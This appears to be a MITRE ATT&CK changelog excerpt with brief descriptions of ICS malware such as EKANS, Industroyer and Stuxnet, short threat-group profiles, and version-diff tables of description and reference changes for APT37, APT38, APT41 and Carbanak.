Description: [EKANS](https://collaborate.mitre.org/attackics/index.php/Software/S0017) is ransomware that was first seen December 2019 and later reported to have impacted operations at Honda automotive production facilities.(Citation: Forbes Snake Ransomware June 2020)(Citation: MalwareByes Honda and Enel Ransomware June 2020)(Citation: Dragos EKANS February 2020) EKANS has a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy historian, Honeywell HMIWeb).(Citation: Dragos EKANS February 2020) If the malware discovers these processes on the target system, it will stop, encrypt, and rename the process to prevent the program from restarting. This malware should not be confused with the “Snake” malware associated with the Turla group. The ICS processes documented within the malware’s kill-list is similar to those defined by the MEGACORTEX software.(Citation: FireEye OT Ransomware July 2020)(Citation: Pylos January 2020)(Citation: Dragos EKANS June 2020)The ransomware was initially reported as “Snake”, however, to avoid confusion with the unrelated Turla APT group security researchers spelled it backwards as EKANS.
Current version: 1.0
Description: [Industroyer](https://collaborate.mitre.org/attackics/index.php/Software/S0001) is a sophisticated piece of malware designed to cause an [Impact](https://collaborate.mitre.org/attackics/index.php/Impact) to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.(Citation: ESET Win32/Industroyer) Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride)(Citation: CISA Alert (TA17-163A))(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2019)
Current version: 1.0
Description: In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable. (Citation: ESET BlackEnergy Jan 2016)
Current version: 1.0
Description: [Stuxnet](https://collaborate.mitre.org/attackics/index.php/Software/S0010) was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.(Citation: Wired W32.Stuxnet Dossier Feb 2011)(Citation: Symantec W32.Stuxnet Writeup)(Citation: CISA ICS Advisory (ICSA-10-238-01B))(Citation: SCADAhacker Stuxnet Mitigation Jan 2014)
Current version: 1.0
Description: [Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021) [Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
Current version: 1.0
Description: [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 1.0
Description: [Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
Current version: 1.0
Description: [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)
Current version: 1.0
Description: [Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)
Current version: 1.0
Description: [Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a suspecte | t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a North Ko |
| > | d North Korean cyber espionage group that has been active si | > | rean state-sponsored cyber espionage group that has been act | ||
| > | nce at least 2012. The group has targeted victims primarily | > | ive since at least 2012. The group has targeted victims prim | ||
| > | in South Korea, but also in Japan, Vietnam, Russia, Nepal, C | > | arily in South Korea, but also in Japan, Vietnam, Russia, Ne | ||
| > | hina, India, Romania, Kuwait, and other parts of the Middle | > | pal, China, India, Romania, Kuwait, and other parts of the M | ||
| > | East. [APT37](https://attack.mitre.org/groups/G0067) has als | > | iddle East. [APT37](https://attack.mitre.org/groups/G0067) h | ||
| > | o been linked to following campaigns between 2016-2018: Oper | > | as also been linked to the following campaigns between 2016- | ||
| > | ation Daybreak, Operation Erebus, Golden Time, Evil New Year | > | 2018: Operation Daybreak, Operation Erebus, Golden Time, Evi | ||
| > | , Are you Happy?, FreeMilk, Northern Korean Human Rights, an | > | l New Year, Are you Happy?, FreeMilk, North Korean Human Rig | ||
| > | d Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Ci | > | hts, and Evil New Year 2018.(Citation: FireEye APT37 Feb 201 | ||
| > | tation: Securelist ScarCruft Jun 2016) (Citation: Talos Grou | > | 8)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos | ||
| > | p123) North Korean group definitions are known to have sign | > | Group123) North Korean group definitions are known to have | ||
| > | ificant overlap, and the name [Lazarus Group](https://attack | > | significant overlap, and some security researchers report al | ||
| > | .mitre.org/groups/G0032) is known to encompass a broad range | > | l North Korean state-sponsored cyber activity under the name | ||
| > | of activity. Some organizations use the name Lazarus Group | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) inst | ||
| > | to refer to any activity attributed to North Korea.(Citation | > | ead of tracking clusters or subgroups. | ||
| > | : US-CERT HIDDEN COBRA June 2017) Some organizations track N | ||||
| > | orth Korean clusters or groups such as Bluenoroff,(Citation: | ||||
| > | Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https:/ | ||||
| > | /attack.mitre.org/groups/G0067), and [APT38](https://attack. | ||||
| > | mitre.org/groups/G0082) separately, while other organization | ||||
| > | s may track some activity associated with those group names | ||||
| > | by the name Lazarus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf | |
| external_references | https://securelist.com/operation-daybreak/75100/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:55:20.925000+00:00 | 2021-10-15 16:54:01.193000+00:00 |
| description | [APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | ScarCruft | Richochet Chollima |
| external_references[2]['description'] | (Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) | (Citation: CrowdStrike Richochet Chollima September 2021) |
| external_references[3]['source_name'] | Reaper | InkySquid |
| external_references[3]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Volexity InkySquid BLUELIGHT August 2021) |
| external_references[4]['source_name'] | Group123 | ScarCruft |
| external_references[4]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) |
| external_references[5]['source_name'] | TEMP.Reaper | Reaper |
| external_references[6]['source_name'] | FireEye APT37 Feb 2018 | Group123 |
| external_references[6]['description'] | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[7]['source_name'] | Securelist ScarCruft Jun 2016 | TEMP.Reaper |
| external_references[7]['description'] | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[8]['source_name'] | Talos Group123 | FireEye APT37 Feb 2018 |
| external_references[8]['description'] | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. |
| external_references[8]['url'] | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
| external_references[9]['source_name'] | US-CERT HIDDEN COBRA June 2017 | Securelist ScarCruft Jun 2016 |
| external_references[9]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. |
| external_references[9]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-164A | https://securelist.com/operation-daybreak/75100/ |
| external_references[10]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Talos Group123 |
| external_references[10]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. |
| external_references[10]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
| external_references[11]['source_name'] | Securelist ScarCruft May 2019 | CrowdStrike Richochet Chollima September 2021 |
| external_references[11]['description'] | GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019. | CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021. |
| external_references[11]['url'] | https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/ | https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/ |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Richochet Chollima | |
| aliases | InkySquid | |
| external_references | {'source_name': 'Volexity InkySquid BLUELIGHT August 2021', 'description': 'Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.', 'url': 'https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/'} | |
| external_references | {'source_name': 'Securelist ScarCruft May 2019', 'description': 'GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.', 'url': 'https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a financia | t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a North Ko |
| > | lly-motivated threat group that is backed by the North Korea | > | rean state-sponsored threat group that specializes in financ | ||
| > | n regime. The group mainly targets banks and financial insti | > | ial cyber operations; it has been attributed to the Reconnai | ||
| > | tutions and has targeted more than 16 organizations in at le | > | ssance General Bureau.(Citation: CISA AA20-239A BeagleBoyz A | ||
| > | ast 13 countries since at least 2014.(Citation: FireEye APT3 | > | ugust 2020) Active since at least 2014, [APT38](https://atta | ||
| > | 8 Oct 2018) North Korean group definitions are known to hav | > | ck.mitre.org/groups/G0082) has targeted banks, financial ins | ||
| > | e significant overlap, and the name [Lazarus Group](https:// | > | titutions, casinos, cryptocurrency exchanges, SWIFT system e | ||
| > | attack.mitre.org/groups/G0032) is known to encompass a broad | > | ndpoints, and ATMs in at least 38 countries worldwide. Signi | ||
| > | range of activity. Some organizations use the name Lazarus | > | ficant operations include the 2016 Bank of Bangladesh heist, | ||
| > | Group to refer to any activity attributed to North Korea.(Ci | > | during which [APT38](https://attack.mitre.org/groups/G0082) | ||
| > | tation: US-CERT HIDDEN COBRA June 2017) Some organizations t | > | stole $81 million, as well as attacks against Bancomext (20 | ||
| > | rack North Korean clusters or groups such as Bluenoroff,(Cit | > | 18) and Banco de Chile (2018); some of their attacks have be | ||
| > | ation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](h | > | en destructive.(Citation: CISA AA20-239A BeagleBoyz August 2 | ||
| > | ttps://attack.mitre.org/groups/G0067), and [APT38](https://a | > | 020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North K | ||
| > | ttack.mitre.org/groups/G0082) separately, while other organi | > | orea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under | ||
| > | zations may track some activity associated with those group | > | The Hood Blog 2017) North Korean group definitions are know | ||
| > | names by the name Lazarus Group. | > | n to have significant overlap, and some security researchers | ||
| > | report all North Korean state-sponsored cyber activity unde | ||||
| > | r the name [Lazarus Group](https://attack.mitre.org/groups/G | ||||
| > | 0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt/rpt-apt38 | |
| external_references | https://www.us-cert.gov/ncas/alerts/TA17-164A | |
| external_references | https://securelist.com/lazarus-under-the-hood/77908/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:50:43.737000+00:00 | 2021-10-15 16:33:27.982000+00:00 |
| description | [APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | FireEye APT38 Oct 2018 | NICKEL GLADSTONE |
| external_references[2]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | (Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021) |
| external_references[3]['source_name'] | US-CERT HIDDEN COBRA June 2017 | BeagleBoyz |
| external_references[3]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | (Citation: CISA AA20-239A BeagleBoyz August 2020) |
| external_references[4]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Bluenoroff |
| external_references[4]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | (Citation: Kaspersky Lazarus Under The Hood Blog 2017) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NICKEL GLADSTONE | |
| aliases | BeagleBoyz | |
| aliases | Bluenoroff | |
| aliases | Stardust Chollima | |
| external_references | {'source_name': 'Stardust Chollima', 'description': '(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)'} | |
| external_references | {'source_name': 'CISA AA20-239A BeagleBoyz August 2020', 'description': "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-239a'} | |
| external_references | {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'} | |
| external_references | {'source_name': 'DOJ North Korea Indictment Feb 2021', 'description': 'Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.', 'url': 'https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and'} | |
| external_references | {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'} | |
| external_references | {'source_name': 'SecureWorks NICKEL GLADSTONE profile Sept 2021', 'description': 'SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/nickel-gladstone'} | |
| external_references | {'source_name': 'CrowdStrike Stardust Chollima Profile April 2018', 'description': 'Meyers, Adam. (2018, April 6). Meet CrowdStrike’s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/'} | |
| external_references | {'source_name': 'CrowdStrike GTR 2021 June 2021', 'description': 'CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf'} |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a threat g | t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a threat g |
| > | roup that researchers have assessed as Chinese state-sponsor | > | roup that researchers have assessed as Chinese state-sponsor | ||
| > | ed espionage group that also conducts financially-motivated | > | ed espionage group that also conducts financially-motivated | ||
| > | operations. [APT41](https://attack.mitre.org/groups/G0096) h | > | operations. Active since at least 2012, [APT41](https://atta | ||
| > | as been active since as early as 2012. The group has been ob | > | ck.mitre.org/groups/G0096) has been observed targeting healt | ||
| > | served targeting healthcare, telecom, technology, and video | > | hcare, telecom, technology, and video game industries in 14 | ||
| > | game industries in 14 countries.(Citation: FireEye APT41 Aug | > | countries. [APT41](https://attack.mitre.org/groups/G0096) ov | ||
| > | 2019) | > | erlaps at least partially with public reporting on groups in | ||
| > | cluding BARIUM and [Winnti Group](https://attack.mitre.org/g | ||||
| > | roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr | ||||
| > | oup IB APT 41 June 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:13:46.915000+00:00 | 2021-10-15 00:28:08.413000+00:00 |
| description | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019) | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) |
| external_references[4]['source_name'] | Crowdstrike GTR2020 Mar 2020 | Group IB APT 41 June 2021 |
| external_references[4]['description'] | Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020. | Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021. |
| external_references[4]['url'] | https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf | https://blog.group-ib.com/colunmtk_apt41 |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a threa | t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a cyber |
| > | t group that mainly targets banks. It also refers to malware | > | criminal group that has used [Carbanak](https://attack.mitre | ||
| > | of the same name ([Carbanak](https://attack.mitre.org/softw | > | .org/software/S0030) malware to target financial institution | ||
| > | are/S0030)). It is sometimes referred to as [FIN7](https://a | > | s since at least 2013. [Carbanak](https://attack.mitre.org/g | ||
| > | ttack.mitre.org/groups/G0046), but these appear to be two gr | > | roups/G0008) may be linked to groups tracked separately as [ | ||
| > | oups using the same [Carbanak](https://attack.mitre.org/soft | > | Cobalt Group](https://attack.mitre.org/groups/G0080) and [FI | ||
| > | ware/S0030) malware and are therefore tracked separately. (C | > | N7](https://attack.mitre.org/groups/G0046) that have also us | ||
| > | itation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2 | > | ed [Carbanak](https://attack.mitre.org/software/S0030) malwa | ||
| > | 017) | > | re.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 Apr | ||
| > | il 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secure | ||||
| > | works GOLD NIAGARA Threat Profile)(Citation: Secureworks GOL | ||||
| > | D KINGSWOOD Threat Profile) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:17:57.921000+00:00 | 2021-10-18 21:02:30.899000+00:00 |
| description | [Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017) | [Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile) |
| external_references[3]['source_name'] | Carbon Spider | Kaspersky Carbanak |
| external_references[3]['description'] | (Citation: Crowdstrike State of Criminal May 2016) | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. |
| external_references[4]['source_name'] | Kaspersky Carbanak | FireEye FIN7 April 2017 |
| external_references[4]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[4]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[5]['source_name'] | FireEye FIN7 April 2017 | Europol Cobalt Mar 2018 |
| external_references[5]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[6]['source_name'] | Fox-It Anunak Feb 2015 | Secureworks GOLD NIAGARA Threat Profile |
